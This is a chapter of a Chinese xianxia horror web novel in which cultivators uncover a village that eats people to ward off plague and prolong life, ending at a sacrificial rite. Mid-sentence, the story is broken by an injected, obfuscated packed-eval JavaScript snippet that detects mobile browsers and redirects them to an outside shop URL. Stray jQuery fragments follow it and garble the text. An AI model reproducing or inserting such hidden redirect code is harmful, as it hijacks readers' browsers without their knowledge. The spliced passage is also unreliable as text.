夜色如墨,万籁俱寂。
狭小静室内,洛逢春和衣躺在一张简陋的板床上,睡梦沉沉。他白日损耗灵力,又奔波寻路,此刻已然熟睡。
不知何时,一丝细微的声响传入耳中,洛逢春并未睁眼,周身灵力悄然流转。
那声音很轻,犹豫着,蹑手蹑脚靠近他的床榻。
洛逢春能感觉到一道视线落在自己脸上,带着一种令人极不舒服的,混合了探究与恐惧的情绪。
就在那发出声响的东西越靠越近时,他骤然探出手,握住了那只试图伸向他的手腕。
触手冰凉,且瘦骨嶙峋,仿佛没有血肉,只剩下一把骨头。
“唔!”来人发出一声受惊的呜咽,整个人僵在原地,抖若筛糠。
洛逢春睁开眼,坐起身,看清了来人。
竟是那个他白日从雾里救回的少女。
少女脸上毫无血色,一双眼睛瞪得极大,瞳孔骤缩,死死地盯着洛逢春,仿佛看到的是什么择人而噬的怪物。
“姑娘?”洛逢春微微蹙眉,稍稍放松了钳制,“你为何深夜来此?”
少女猛地一颤,拼命想抽回手,发现徒劳后,竟双腿一软,“噗通”一声跪倒在地上,朝着洛逢春不住地磕头,绝望哀告:
“仙长……仙长饶命……求求您……救救我吧……我会死的……”
“求求您救救我……让我跟您一起走吧……”
洛逢春心头猛地一沉,松开手,俯身想去扶她:“姑娘,你冷静些,你看清楚,这里是村落,没有恶人,不会伤你……”
然而少女却吓得浑身痉挛,猛地向后缩去,涕泪横流,语无伦次地哭诉:
“不是的,不是的……他们……都是他们……村子……村子的人……疯了……都疯了!碰过山神大人的……吃了……都吃了……”
“姐姐……阿娘……都被……呜呜……下一个就是我……逃不掉的……山神大人也救不了我们……他们还要吃……吃……”
她的话语破碎不堪,洛逢春心中疑窦丛生,寒意自脊背悄然蔓延。
就在这时,门外传来一声轻响。
少女的哭声戛然而止。她脸上血色尽褪,双手死死捂住自己的嘴,惊恐万分地瞪着房门。
洛逢春伸出指尖,在少女喉间和眉心迅速一点,施下禁言与匿形咒,随即一把将她推到屋中最深的阴影里,低声嘱咐道:“别出声,别动!”
他重新躺回床上,拉过薄被盖好,闭上眼睛,调整呼吸,装成仍在熟睡的样子。
房门处再度有了动静。先是极轻微的“噗”一声,窗户纸上裂出了一道缝隙。
紧接着,一根细长的竹管悄无声息地伸了进来,一股淡薄的,带着些许甜腥气的烟雾被吹入屋内。
迷烟。
洛逢春屏住呼吸,体内灵力运转,将微量吸入的迷烟瞬间化去。
约莫过了半刻,房门被从外面推开。几个黑影蹑手蹑脚地摸了进来,脚步放得极轻。
来的不止一人。
他们径直走向床榻,似乎确认了一下是洛逢春。
一个压低的声音响起,带着扭曲的兴奋:“这个可是凌云宗弟子,又接触过山神大人,灵气肯定足,肯定能救我们……”
“少废话,快抬走!有山神那一个祭品就够了,这个算是添头,赶紧搬走,别误了时辰!”
另一个略显苍老的声音催促道,听起来竟有几分耳熟。
是陈老丈?!洛逢春心头一震。
几人动作麻利,拿出早已准备好的粗糙绳索,将洛逢春的手脚迅速捆牢。然后拿出一条布袋,套在了他头上,将他扛了起来。
洛逢春却并未反抗,他倒要看看,这些人要把他带到哪里去。
他被扛着,颠簸了一段路,走向村子的某个方向。夜晚的寒风透过布袋吹进来,带着某种难以言喻的腐烂气味。
不知过了多久,扛着他的人停了下来。
接着,他感到身下一空,“砰”地一声,被重重扔在了一个硬物上,摔得生疼。
随后是“哐当”一声巨响,厚重的木板被合上,还有铁链扣紧的声响。
周围瞬间陷入死寂。一股浓烈到令人作呕的,混合着腐烂,血腥,与尘土的气味涌入鼻腔。
确定人都已经离开后,洛逢春运转灵力,轻易挣开了绑缚在手脚上的绳索,扯掉了头上的布袋。
他睁开眼,四周伸手不见五指,指尖凝起一缕青色灵光,勉强照亮了周围。
这是一处地窖。空间不大,四处堆放着一些破旧的农具和杂物,积满了厚厚的灰尘。
然而就在灵光照亮脚下土地的瞬间,洛逢春的呼吸猛地一滞,瞳孔骤缩。
白骨。
他的脚下,以及地窖的各个角落,散落着累累白骨。许多骨头上还残留着清晰的牙印和啃噬的痕迹。
有些骨架尚且完整,扭曲地蜷缩着,有些则早已散乱,头骨滚落一旁。数量之多,远超想象。
饶是洛逢春心性沉稳,见此情景也不由得脊背发凉。这些……难道都是……
他强压下心头的寒意,俯下身,从离他最近的一具相对完整的骸骨开始检查。
骸骨身上的粗布衣物尚未完全腐烂。从骨骼大小判断,有男有女,甚至还有……孩童。
他的目光骤然一凝,蹲下身,拾起了骸骨枯白的手臂。借着灵光,他清晰地看到,每具骸骨,手臂的骨头上竟然都刻着一个印记。
一个绿色的,如同藤蔓缠绕而成的叶片状纹印。
*
房屋内,那名被沈祭雪扼住咽喉,按在墙上的男子,在谢灼乱七八糟胡搅蛮缠的威胁恐吓下,心理防线彻底崩溃。
“我……我说……别杀我……”男子涕泪横流。
“是……是村长……和陈老丈……让我们来的……说,说你们这些修道之人……身有灵气……又接触过山神大人……是,是最好的‘药引’……抓了你们……吃了……”
“吃了……血肉之后,就不会再受……疫病的威胁……还能……延年益寿……”
“吃人延寿?”沈祭雪与谢灼对视
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705657|189199||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一眼,这村子,远比表面看起来的要更加诡异邪门。
“洛逢春和那个山灵呢?”沈祭雪冷声问。
“不,不知道……这个时辰……可能,可能已经被带去祭场了……”
沈祭雪甩开男子,与谢灼同时掠出房门。
院中寂静无声,陈老丈早已不见踪影。整个村子一片死寂,家家户户门窗紧闭,不见半点灯火,不见半点人息。
“果然都去了。”谢灼环顾四周,语带嘲讽,“看来这祭祀的阵仗不小啊。”
沈祭雪面沉如水,指尖一弹,一道淡蓝色的灵力符箓凭空凝聚。
符箓在空中颤了颤,随即化作一道流光,向着村子后方山林深处疾射而去。
两人毫不犹豫跟了上去。
循着流光,越往前走,空气中那股古怪的腐臭气息就越明显。
甚至隐隐约约的,能听到远处传来的嘈杂人声,像是在吟唱着某种古怪扭曲的调子,间或夹杂着几声兴奋的嚎叫。
流光最终消失在了一片林间空地边缘。
沈祭雪和谢灼悄无声息地掠上高处枝头,向下望去。
只见空地中央燃起一个巨大的篝火堆,火焰跳跃着,映照出周围一张张扭曲狂热的面孔。
几乎全村的人都在这里了。男女老少,腐烂的和鲜活的,患病的和健康的,穿着色彩鲜艳的吉服,脸上带着或兴奋或贪婪的神情,纵情吟唱高歌,手舞足蹈。
而在火堆的中央,立着一根粗大的十字木桩。
山灵被紧紧绑在木桩之上。他垂着头,银发凌乱,衣襟散开,露出染血的肌肤和清晰的锁骨,显得愈发脆弱。
他此时气息微弱,似乎已经完全失去了意识,任人摆布。
几个像是村中长老的人,包括陈老丈,正站在木桩前,手里拿着奇怪的青铜刀具,脸上洋溢着一种虔诚又喜悦的疯狂。
片刻后,随着曲调结束,疯狂的欢呼声和吟唱声达到了高潮。
陈老丈手中捧起一个陶碗,碗中盛满了暗红色的,粘稠的液体。
他走到木桩前,高举陶碗,口中念念有词,然后将碗中的液体猛地泼向了山灵。
那暗红液体沾上山灵的衣衫和皮肤,竟发出“嗤嗤”的声响,冒出阵阵白烟。
山灵的身体剧烈地颤抖起来,发出一声压抑不住的,极其痛苦的闷哼,猛地抬起了头。
“除疫礼成,分胙消灾!”
随着他嘶哑的吼声,周围的人群爆发出更加狂热的欢呼,手中拿着同样的青铜刀具,疯狂向着中央的火堆和木桩围拢过去。
“啧,真是……好一场热闹。”谢灼的声音在沈祭雪耳边响起,隐隐带着点不悦。
“道友,你说这下,我们是剁了他们的手呢,还是拆了这整个村子?”
沈祭雪没有回答,她手腕上那藤蔓状的绿色印记在靠近此地时,毫无征兆地灼热起来,烫得惊人。
她缓缓握紧了手中的剑,抽鞘而出。
剑刃发出一声清脆凛冽的铮鸣,在这疯狂喧嚣的夜色中,清晰可闻。